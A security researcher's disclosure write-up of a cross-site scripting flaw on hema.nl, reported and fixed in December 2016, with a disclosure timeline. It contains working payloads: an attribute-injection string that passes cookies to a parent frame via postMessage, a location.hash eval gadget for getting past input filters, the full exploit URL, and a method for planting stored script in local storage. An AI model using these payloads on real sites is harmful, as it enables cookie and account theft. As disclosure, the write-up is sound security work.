Cross-site-scripting on one of the largest Dutch franchisors
Posted on by Tijme Gommers.
By abusing a sensitive data exposure vulnerability it is possible to steal data from a Hema user. If the user is signed in, data like the user’s name and email can be stolen using cross frame scripting. Besides that, a malicious JavaScript payload can be inserted into the local storage which causes DOM-based XSS.
Please note that I used FireFox to test this vulnerability since browsers like Chrome, Safari and Edge have built in XSS auditors, which filter some of the reflected XSS.
Proof of Concept (reflected XSS)
While examining hema.nl I found some interesting XHR calls. One of them was ListerQuickView.aspx
, which contained a lot of GET parameters.
http://www.hema.nl/Pages/Fredhopper/ListerQuickView.aspx?culture=nl-NL&nextProductId=pnl_60000199&prevProductId=&productId=pnl_60000198&productSku=12345
I tried to inject JavaScript in all the parameters but it didn’t really work. Especially because they blocked all requests if the URL contained a <
sign followed by another character. The value of one of the parameters, productSku
, was used as an attribute value. This made it possible to execute JavaScript using the onmousemove
event. Unfortunately the onload
event couldn’t be used since the element it got injected in was a div.
You can find the payload I used below. The inline CSS causes the div to overlap all content (this increases the chance that onmousemove
is triggered). The parent.postMessage
passes the cookie to the parent frame on mouse move.
&productSku=tes" style="width:100%;height:100%;position:absolute;top:0;left:0;" onmousemove="parent.postMessage(cookie, '*')">as
Which resulted in the following HTML:
We can now place this piece of art in an iframe, which results in cross frame scripting.
Proof of Concept (Stored DOM-based XSS)
Making it “Stored DOM-based XSS” is a bit more difficult. I divided it into two steps, bypassing the input restrictions and inserting the JavaScript payload into the local storage.
Bypassing Hema’s input restrictions
The DOM-based XSS vulnerability contains a little bit more code. Lets use the previous payload and edit it to look like this:
data-message="message" style="width:100%;height:100%;position:absolute;top:0;left:0;" onmousemove="eval(location.hash.substring(1))"
This code executes the JavaScript from the location.hash
. I used location.hash
since hema.nl blocks a lot of characters, like <
and {
, and the location.hash
will not be included in the request, so hema.nl will never know about it.
In my location hash I wrote #window.addEventListener(arguments[0].originalTarget.attributes[4].value,function(event){eval(event.data)})
.
I use arguments[0].originalTarget.attributes[4].value
(where arguments[0]
is the onmousemove
event) to get the value of the fourth attribute of our div, which is the string message
. I couldn’t just add the string "message"
to addEventListener
since quotes in the hash are converted to %22
, which results in an unexpected %
character.
So all this code basically sets a listener for messages on mouse move. Using cross frame scripting we can now execute all the code we want in the hema.nl iframe using postMessage
.
document.getElementById('hema').contentWindow.postMessage('alert(document.cookie)', '*')
Which results in:
This is the full URL that I used:
http://www.hema.nl/Pages/Fredhopper/ListerQuickView.aspx?culture=nl-NL&nextProductId=pnl_60000199&prevProductId=&productId=pnl_60000198&productSku=tes%22%20data-message=%22message%22%20style=%22width:100%;height:100%;position:absolute;top:0;left:0;%22%20onmousemove=%22eval(location.hash.substring(1))%22%20data-test=%22as#window.addEventListener(arguments[0].originalTarget.attributes[4].value,function(event){eval(event.data)});
Making it “Stored DOM-based XSS”
Hema stores some interesting JSON in the local storage. For example, they store all the products that I added to my favorites.
A product that I added to my favorites looks like this:
And ofcourse, using our postMessage, we can edit it so it looks like this (note the onload
in the imgUrl):
Hema loads the favorites and shows the image without encoding the URL. Which means every time the victim navigates to hema.nl an alert will pop up.
So there you go, Stored DOM-based XSS!
Domains
www.hema.nl (vulnerable)
www.hema.fr (protected by CloudFlare)
www.hema.be (not vulnerable)
www.hemashop.com (not vulnerable)
Timeline
Date | Activity |
---|---|
11 Dec 2016 18:43:34 GMT | Reported the vulnerability to Hema. |
12 Dec 2016 09:23:21 GMT | Hema is investigating the vulnerability. |
15 Dec 2016 13:54:56 GMT | Hema confirmed the vulnerability. Hema will be releasing a fix in week 51. |
20 Dec 2016 19:11:44 GMT | Hema fixed the vulnerability. |
20 Dec 2016 19:14:41 GMT | Public disclosure. |